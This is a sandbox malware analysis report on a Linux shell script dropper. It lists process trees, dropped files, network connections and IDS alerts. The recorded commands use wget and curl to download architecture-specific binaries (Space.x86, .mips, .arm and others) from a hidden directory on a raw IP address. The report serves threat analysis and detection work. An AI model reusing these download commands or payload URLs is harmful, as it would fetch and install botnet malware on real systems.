| File name: | 1.sh |
| Full analysis: | https://app.any.run/tasks/143d1aac-dee9-45cc-aea6-e8abe66de520 |
| Verdict: | Malicious activity |
| Threats: | Adware is a form of malware that targets users with unwanted advertisements, often disrupting their browsing experience. It typically infiltrates systems through software bundling, malicious websites, or deceptive downloads. Once installed, it may track user activity, collect sensitive data, and display intrusive ads, including pop-ups or banners. Some advanced adware variants can bypass security measures and establish persistence on devices, making removal challenging. Additionally, adware can create vulnerabilities that other malware can exploit, posing a significant risk to user privacy and system security. |
| Analysis date: | May 15, 2025, 10:42:49 |
| OS: | Ubuntu 22.04.2 |
| Tags: | |
| Indicators: | |
| MIME: | text/x-shellscript |
| File info: | Bourne-Again shell script, ASCII text executable |
| MD5: | 6DC896D731B318676A07E21CA6F31C93 |
| SHA1: | C69B8769743CAD8878073EBE3232560472CB073E |
| SHA256: | 953C5B30B0667E603EAC5A60E09C3788CDF3CA49AD340B11AA398CE21CA6B182 |
| SSDEEP: | 48:iivervehmlivetvenEliveaveCXlive2veePliveapveazvZlivea/veaFvjliv0:iiv8vgmlivmvuElivzvpXlivLvBPliv+ |
| .sh | | | Linux/UNIX shell script (100) |
|---|
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 39489 | /bin/sh -c "sudo chown user /tmp/1\.sh && chmod +x /tmp/1\.sh && DISPLAY=:0 sudo -iu user /tmp/1\.sh " | /usr/bin/dash | — | any-guest-agent |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39490 | sudo chown user /tmp/1.sh | /usr/bin/sudo | — | dash |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39491 | chown user /tmp/1.sh | /usr/bin/chown | — | sudo |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39492 | chmod +x /tmp/1.sh | /usr/bin/chmod | — | dash |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39493 | sudo -iu user /tmp/1.sh | /usr/bin/sudo | — | dash |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39494 | systemctl --user --global is-enabled snap.snapd-desktop-integration.snapd-desktop-integration.service | /usr/bin/systemctl | — | snapd |
User: root Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39495 | /bin/bash /tmp/1.sh | /usr/bin/bash | — | sudo |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39496 | /usr/bin/locale-check C.UTF-8 | /usr/bin/locale-check | — | bash |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39497 | cp /bin/busybox /tmp/ | /usr/bin/cp | — | bash |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
| 39498 | wget http://46.203.233.158/hiddenbin/Space.arc | /usr/bin/wget | bash | |
User: user Integrity Level: UNKNOWN Exit code: 0 | ||||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 39497 | cp | /tmp/busybox | binary | |
MD5:— | SHA256:— | |||
| 39498 | wget | /tmp/Space.arc | binary | |
MD5:— | SHA256:— | |||
| 39537 | cat | /tmp/Space | binary | |
MD5:— | SHA256:— | |||
| 39541 | wget | /tmp/Space.x86 | binary | |
MD5:— | SHA256:— | |||
| 39567 | cat | /tmp/Space | binary | |
MD5:— | SHA256:— | |||
| 39586 | wget | /tmp/Space.x86_64 | binary | |
MD5:— | SHA256:— | |||
| 39619 | wget | /tmp/Space.i686 | o | |
MD5:— | SHA256:— | |||
| 39654 | wget | /tmp/Space.mips | binary | |
MD5:— | SHA256:— | |||
| 39721 | wget | /tmp/Space.mpsl | binary | |
MD5:— | SHA256:— | |||
| 39755 | wget | /tmp/Space.arm | binary | |
MD5:— | SHA256:— | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 204 | 185.125.190.96:80 | http://connectivity-check.ubuntu.com/ | unknown | — | — | whitelisted |
39499 | curl | GET | 200 | 46.203.233.158:80 | http://46.203.233.158/hiddenbin/Space.arc | unknown | — | — | unknown |
39498 | wget | GET | 200 | 46.203.233.158:80 | http://46.203.233.158/hiddenbin/Space.arc | unknown | — | — | unknown |
39541 | wget | GET | 200 | 46.203.233.158:80 | http://46.203.233.158/hiddenbin/Space.x86 | unknown | — | — | unknown |
39586 | wget | GET | 200 | 46.203.233.158:80 | http://46.203.233.158/hiddenbin/Space.x86_64 | unknown | — | — | unknown |
39542 | curl | GET | 200 | 46.203.233.158:80 | http://46.203.233.158/hiddenbin/Space.x86 | unknown | — | — | unknown |
39619 | wget | GET | 200 | 46.203.233.158:80 | http://46.203.233.158/hiddenbin/Space.i686 | unknown | — | — | unknown |
39620 | curl | GET | 200 | 46.203.233.158:80 | http://46.203.233.158/hiddenbin/Space.i686 | unknown | — | — | unknown |
39587 | curl | GET | 200 | 46.203.233.158:80 | http://46.203.233.158/hiddenbin/Space.x86_64 | unknown | — | — | unknown |
39654 | wget | GET | 200 | 46.203.233.158:80 | http://46.203.233.158/hiddenbin/Space.mips | unknown | — | — | unknown |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 185.125.190.18:80 | connectivity-check.ubuntu.com | Canonical Group Limited | GB | whitelisted |
— | — | 185.125.190.96:80 | connectivity-check.ubuntu.com | Canonical Group Limited | GB | whitelisted |
— | — | 212.102.56.179:443 | odrs.gnome.org | Datacamp Limited | DE | whitelisted |
— | — | 195.181.175.40:443 | odrs.gnome.org | Datacamp Limited | DE | whitelisted |
484 | avahi-daemon | 224.0.0.251:5353 | — | — | — | unknown |
— | — | 185.125.188.59:443 | api.snapcraft.io | Canonical Group Limited | GB | whitelisted |
— | — | 185.125.188.54:443 | api.snapcraft.io | Canonical Group Limited | GB | whitelisted |
512 | snapd | 185.125.188.54:443 | api.snapcraft.io | Canonical Group Limited | GB | whitelisted |
39498 | wget | 46.203.233.158:80 | — | PJSC Ukrtelecom | UA | unknown |
39499 | curl | 46.203.233.158:80 | — | PJSC Ukrtelecom | UA | unknown |
Domain | IP | Reputation |
|---|---|---|
connectivity-check.ubuntu.com |
| whitelisted |
odrs.gnome.org |
| whitelisted |
google.com |
| whitelisted |
api.snapcraft.io |
| whitelisted |
13.100.168.192.in-addr.arpa |
| unknown |
PID | Process | Class | Message |
|---|---|---|---|
39498 | wget | Potentially Bad Traffic | ET HUNTING Suspicious GET Request for .arc File |
39498 | wget | Potential Corporate Privacy Violation | ET INFO Executable and linking format (ELF) file download Over HTTP |
39499 | curl | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
39542 | curl | Potentially Bad Traffic | ET HUNTING curl User-Agent to Dotted Quad |
39499 | curl | Potentially Bad Traffic | ET HUNTING Suspicious GET Request for .arc File |
39542 | curl | Potentially Bad Traffic | ET HUNTING Suspicious GET Request for .x86 |
39542 | curl | Potentially Bad Traffic | ET INFO x86 File Download Request from IP Address |
39499 | curl | Potential Corporate Privacy Violation | ET INFO Executable and linking format (ELF) file download Over HTTP |
39542 | curl | Potential Corporate Privacy Violation | ET INFO Executable and linking format (ELF) file download Over HTTP |
39541 | wget | Potential Corporate Privacy Violation | ET INFO Executable and linking format (ELF) file download Over HTTP |